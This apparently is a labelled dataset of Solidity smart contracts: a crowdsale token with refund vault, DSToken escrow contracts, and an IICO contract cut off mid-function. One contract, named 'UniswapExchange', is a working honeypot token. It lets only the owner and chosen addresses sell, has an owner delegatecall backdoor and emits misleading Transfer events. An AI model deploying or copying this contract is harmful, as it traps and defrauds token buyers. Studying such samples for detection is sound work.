function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract OwnableToken {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function OwnableToken() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BurnableToken is BasicToken, OwnableToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public onlyOwner {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract esToken is OwnableToken, BurnableToken, StandardToken {
string public name;
string public symbol;
uint8 public decimals;
bool public paused = true;
mapping(address => bool) public whitelist;
modifier whenNotPaused() {
require(!paused || whitelist[msg.sender]);
_;
}
constructor(string _name,string _symbol,uint8 _decimals, address holder, address buffer) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
Transfer(address(0), holder, balances[holder] = totalSupply_ = uint256(10)**(9 + decimals));
addToWhitelist(holder);
addToWhitelist(buffer);
}
function unpause() public onlyOwner {
paused = false;
}
function pause() public onlyOwner {
paused = true;
}
function addToWhitelist(address addr) public onlyOwner {
whitelist[addr] = true;
}
function removeFromWhitelist(address addr) public onlyOwner {
whitelist[addr] = false;
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
constructor(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract esCrowdsale is CappedCrowdsale, RefundableCrowdsale {
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256 _cap,
ERC20 _token,
uint256 _goal
)
public
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_goal)
{
require(_goal <= _cap);
}
} | 1 | 2,627 |
pragma solidity ^0.4.24;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
uint256 wad;
assembly {
foo := calldataload(4)
bar := calldataload(36)
wad := callvalue
}
emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped, "ds-stop-is-stopped");
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(
address src, address dst, uint wad
) public returns (bool);
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
constructor(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
require(_approvals[src][msg.sender] >= wad, "ds-token-insufficient-approval");
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
require(_balances[src] >= wad, "ds-token-insufficient-balance");
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
}
contract DSToken is DSTokenBase(0), DSStop {
bytes32 public symbol;
uint256 public decimals = 18;
constructor(bytes32 symbol_) public {
symbol = symbol_;
}
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
require(_approvals[src][msg.sender] >= wad, "ds-token-insufficient-approval");
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
require(_balances[src] >= wad, "ds-token-insufficient-balance");
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
emit Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) {
require(_approvals[guy][msg.sender] >= wad, "ds-token-insufficient-approval");
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
require(_balances[guy] >= wad, "ds-token-insufficient-balance");
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
emit Burn(guy, wad);
}
bytes32 public name = "";
function setName(bytes32 name_) public auth {
name = name_;
}
}
interface EscrowDataInterface
{
function createEscrow(
bytes32 _tradeId,
DSToken _token,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
uint32 _paymentWindowInSeconds
) external returns(bool);
function getEscrow(
bytes32 _tradeHash
) external returns(bool, uint32, uint128);
function removeEscrow(
bytes32 _tradeHash
) external returns(bool);
function updateSellerCanCancelAfter(
bytes32 _tradeHash,
uint32 _paymentWindowInSeconds
) external returns(bool);
function increaseTotalGasFeesSpentByRelayer(
bytes32 _tradeHash,
uint128 _increaseGasFees
) external returns(bool);
}
contract EscrowData is DSAuth, EscrowDataInterface
{
address public dexc2c;
event SetDexC2C(address caller, address dexc2c);
event Created(bytes32 _tradeHash);
event Removed(bytes32 _tradeHash);
event Updated(bytes32 _tradeHash, uint32 _sellerCanCancelAfter);
mapping (bytes32 => Escrow) public escrows;
struct Escrow
{
bool exists;
uint32 sellerCanCancelAfter;
uint128 totalGasFeesSpentByRelayer;
}
function setDexC2C(address _dexc2c)public auth returns(bool){
require(_dexc2c != address(0x00), "DEXC2C address error");
dexc2c = _dexc2c;
emit SetDexC2C(msg.sender, _dexc2c);
return true;
}
modifier onlyDexc2c(){
require(msg.sender == dexc2c, "Must be dexc2c");
_;
}
function createEscrow(
bytes32 _tradeId,
DSToken _tradeToken,
address _buyer,
address _seller,
uint256 _value,
uint16 _fee,
uint32 _paymentWindowInSeconds
) public onlyDexc2c returns(bool){
bytes32 _tradeHash = keccak256(abi.encodePacked(_tradeId, _tradeToken, _buyer, _seller, _value, _fee));
require(!escrows[_tradeHash].exists, "Trade already exists");
uint32 _sellerCanCancelAfter = uint32(block.timestamp) + _paymentWindowInSeconds;
escrows[_tradeHash] = Escrow(true, _sellerCanCancelAfter, 0);
emit Created(_tradeHash);
return true;
}
function getEscrow(
bytes32 _tradeHash
) public view returns (bool, uint32, uint128){
Escrow memory escrow = escrows[_tradeHash];
if(escrow.exists){
return (escrow.exists, escrow.sellerCanCancelAfter, escrow.totalGasFeesSpentByRelayer);
}
return (false, 0, 0);
}
function exists(
bytes32 _tradeHash
) public view returns(bool){
return escrows[_tradeHash].exists;
}
function removeEscrow(
bytes32 _tradeHash
) public onlyDexc2c returns(bool){
require(escrows[_tradeHash].exists, "Escrow not exists");
delete escrows[_tradeHash];
emit Removed(_tradeHash);
return true;
}
function updateSellerCanCancelAfter(
bytes32 _tradeHash,
uint32 _paymentWindowInSeconds
) public onlyDexc2c returns(bool){
require(escrows[_tradeHash].exists, "Escrow not exists");
uint32 _sellerCanCancelAfter = uint32(block.timestamp) + _paymentWindowInSeconds;
escrows[_tradeHash].sellerCanCancelAfter = _sellerCanCancelAfter;
emit Updated(_tradeHash, _sellerCanCancelAfter);
return true;
}
function increaseTotalGasFeesSpentByRelayer(
bytes32 _tradeHash,
uint128 _increaseGasFees
) public onlyDexc2c returns(bool){
require(escrows[_tradeHash].exists, "Escrow not exists");
escrows[_tradeHash].totalGasFeesSpentByRelayer += _increaseGasFees;
return true;
}
} | 1 | 5,300 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,498 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract IICO {
address public owner;
address public beneficiary;
uint constant HEAD = 0;
uint constant TAIL = uint(-1);
uint constant INFINITY = uint(-2);
struct Bid {
uint prev;
uint next;
uint maxValuation;
uint contrib;
uint bonus;
address contributor;
bool withdrawn;
bool redeemed;
}
mapping (uint => Bid) public bids;
mapping (address => uint[]) public contributorBidIDs;
uint public lastBidID = 0;
uint public startTime;
uint public endFullBonusTime;
uint public withdrawalLockTime;
uint public endTime;
ERC20 public token;
uint public tokensForSale;
uint public maxBonus;
uint constant BONUS_DIVISOR = 1E9;
bool public finalized;
uint public cutOffBidID = TAIL;
uint public sumAcceptedContrib;
uint public sumAcceptedVirtualContrib;
event BidSubmitted(address indexed contributor, uint indexed bidID, uint indexed time);
modifier onlyOwner{ require(owner == msg.sender); _; }
function IICO(uint _startTime, uint _fullBonusLength, uint _partialWithdrawalLength, uint _withdrawalLockUpLength, uint _maxBonus, address _beneficiary) public {
owner = msg.sender;
startTime = _startTime;
endFullBonusTime = startTime + _fullBonusLength;
withdrawalLockTime = endFullBonusTime + _partialWithdrawalLength;
endTime = withdrawalLockTime + _withdrawalLockUpLength;
maxBonus = _maxBonus;
beneficiary = _beneficiary;
bids[HEAD] = Bid({
prev: TAIL,
next: TAIL,
maxValuation: HEAD,
contrib: 0,
bonus: 0,
contributor: address(0),
withdrawn: false,
redeemed: false
});
bids[TAIL] = Bid({
prev: HEAD,
next: HEAD,
maxValuation: TAIL,
contrib: 0,
bonus: 0,
contributor: address(0),
withdrawn: false,
redeemed: false
});
}
function setToken(ERC20 _token) public onlyOwner {
require(address(token) == address(0));
token = _token;
tokensForSale = token.balanceOf(this);
}
function submitBid(uint _maxValuation, uint _next) public payable {
Bid storage nextBid = bids[_next];
uint prev = nextBid.prev;
Bid storage prevBid = bids[prev];
require(_maxValuation >= prevBid.maxValuation && _maxValuation < nextBid.maxValuation);
require(now >= startTime && now < endTime);
++lastBidID;
prevBid.next = lastBidID;
nextBid.prev = lastBidID;
bids[lastBidID] = Bid({
prev: prev,
next: _next,
maxValuation: _maxValuation,
contrib: msg.value,
bonus: bonus(),
contributor: msg.sender,
withdrawn: false,
redeemed: false
});
contributorBidIDs[msg.sender].push(lastBidID);
emit BidSubmitted(msg.sender, lastBidID, now);
}
function searchAndBid(uint _maxValuation, uint _next) public payable {
submitBid(_maxValuation, search(_maxValuation,_next));
}
function withdraw(uint _bidID) public {
Bid storage bid = bids[_bidID];
require(msg.sender == bid.contributor);
require(now < withdrawalLockTime);
require(!bid.withdrawn);
bid.withdrawn = true;
uint refund = (now < endFullBonusTime) ? bid.contrib : (bid.contrib * (withdrawalLockTime - now)) / (withdrawalLockTime - endFullBonusTime);
assert(refund <= bid.contrib);
bid.contrib -= refund;
bid.bonus = (bid.bonus * 2) / 3;
msg.sender.transfer(refund);
}
function finalize(uint _maxIt) public {
require(now >= endTime);
require(!finalized);
uint localCutOffBidID = cutOffBidID;
uint localSumAcceptedContrib = sumAcceptedContrib;
uint localSumAcceptedVirtualContrib = sumAcceptedVirtualContrib;
for (uint it = 0; it < _maxIt && !finalized; ++it) {
Bid storage bid = bids[localCutOffBidID];
if (bid.contrib+localSumAcceptedContrib < bid.maxValuation) {
localSumAcceptedContrib += bid.contrib;
localSumAcceptedVirtualContrib += bid.contrib + (bid.contrib * bid.bonus) / BONUS_DIVISOR;
localCutOffBidID = bid.prev;
} else {
finalized = true;
uint contribCutOff = bid.maxValuation >= localSumAcceptedContrib ? bid.maxValuation - localSumAcceptedContrib : 0;
contribCutOff = contribCutOff < bid.contrib ? contribCutOff : bid.contrib;
bid.contributor.send(bid.contrib-contribCutOff);
